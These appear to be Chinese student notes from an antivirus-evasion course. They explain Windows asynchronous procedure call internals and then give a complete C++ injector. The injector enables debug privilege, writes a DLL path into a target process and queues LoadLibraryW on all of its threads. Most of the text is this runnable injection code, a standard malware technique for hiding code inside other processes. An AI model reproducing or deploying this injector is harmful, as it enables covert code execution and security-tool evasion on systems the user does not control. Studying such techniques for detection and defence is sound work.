是一种并发机制,APC函数在线程中被异步回调
线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx函数时会进入警告状态,系统会产生一个软中断,线程再次被唤醒时会检查APC队列执行所有APC函数
内核APC:由系统产生,不涉及到换栈
用户APC:由应用程序产生,在内核、用户层切换时使用不同栈
APC队列:KTHREAD+0x034 指向 KAPC_STATE结构体(存储APC队列)
执行函数
KiServiceExit函数
用于在系统调用(x86sysenter/x64syscall)、异常、中断后回到用户层
_KAPC_STATE.KernelApcPending为1则调用 KiDeliverApc 执行APC函数,执行完再循环遍历
KiDeliverApc函数
执行APC函数
要注入多线程进程,单线程睡眠了就注入不进去了,注入系统进程需要以管理员权限运行来获取 SeDebugPrivilege特权
Copy
1.获取进程PID、句柄
2.将DLL路径写入进程内存
3.插入APC函数
4.关闭句柄
Copy
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#define _tmain wmain // main使用Unicode
DWORD GetProcessPID(LPCTSTR lpProcessName) { // LPCTSTR是指向字符串的指针类型,如果需要修改内容要用LPTSTR
/*
* CreateToolhelp32Snapshot是Windows API
* 参数1:指定创建哪个快照,TH32CS_SNAPPROCESS是进程快照,包含所有进程信息
* 参数2:进程ID,0表示所有进程
*/
HANDLE lpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 创建所有进程快照
PROCESSENTRY32 p32 = { 0 }; // Windows API中的结构体,用来存储进程快照
p32.dwSize = sizeof(PROCESSENTRY32); // 设置结构体正确大小,这样才能填充进程信息
Process32First(lpSnapshot, &p32); // Windows API,将全部进程信息写入p32
do {
if (!lstrcmp(p32.szExeFile, lpProcessName)) { // 进程名正确
CloseHandle(lpSnapshot); // 关闭句柄
return p32.th32ProcessID;
}
} while (Process32Next(lpSnapshot, &p32)); // 循环每一个进程
}
void EnableDebugPrivilege() {
HANDLE hToken;
// 打开当前进程令牌,指定 TOKEN_ADJUST_PRIVILEGES 以修改令牌特权
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
TOKEN_PRIVILEGES tp; // 用于存储令牌特权信息的结构体
tp.PrivilegeCount = 1; // 特权数量为1
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); // 指定启用的特权,SE_DEBUG_NAME 对应 SeDebugPrivilege特权
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // SE_PRIVILEGE_ENABLED 表示启用特权
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); // 将令牌特权信息应用到令牌上
CloseHandle(hToken); // 关闭句柄
}
}
void APCInjectDLL(DWORD PID, LPCWSTR DllPath) {
EnableDebugPrivilege(); // 获取 SeDebugPrivilege特权
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); // 获取进程全部权限的句柄
DWORD size = (wcslen(DllPath) + 1) * sizeof(WCHAR); // 申请的空间大小,+1是加上\0,乘是因为Unicode
LPVOID pAllocMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE); // 指针指向远程申请的内存
WriteProcessMemory(hProcess, pAllocMemory, DllPath, size, NULL); // 写入内存
FARPROC pFuncAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); // 获取Kernel32、LoadLibrary
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); // 创建所有进程快照
/*
* Thread32First是Windows API
* 参数1:CreateToolhelp32Snapshot返回的句柄
* 参数2:一个指向THREADENTRY32结构体(存储线程信息)的指针
*/
THREADENTRY32 te = { 0 }; // 每个成员初始化为0
te.dwSize = sizeof(te); // 设置结构体正确大小,这样才能填充进程信息
Thread32First(hSnap, &te); // 获取所有进程的线程的第一个线程的信息
do {
if (te.th32OwnerProcessID == PID) { // PID正确,找到目标进程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); // 通过线程ID打开线程
QueueUserAPC((PAPCFUNC)pFuncAddr, hThread, (ULONG_PTR)pAllocMemory); // 插入APC函数
CloseHandle(hThread); // 关闭句柄
}
} while (Thread32Next(hSnap, &te)); // 取下一个线程
CloseHandle(hSnap); // 关闭句柄
CloseHandle(hProcess);
}
/*
* 传参
* 这里是Unicode,Ascii用main和char*
* argv[0]是第一个参数(xxx.exe自身)
*/
int _tmain(int argc, TCHAR* argv[]) {
DWORD PID = GetProcessPID(argv[1]); // 传入进程名获取进程PID
APCInjectDLL(PID, L"C:\\xxx\\x64.dll");
return 0;
}
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/17187542.html
课程链接如下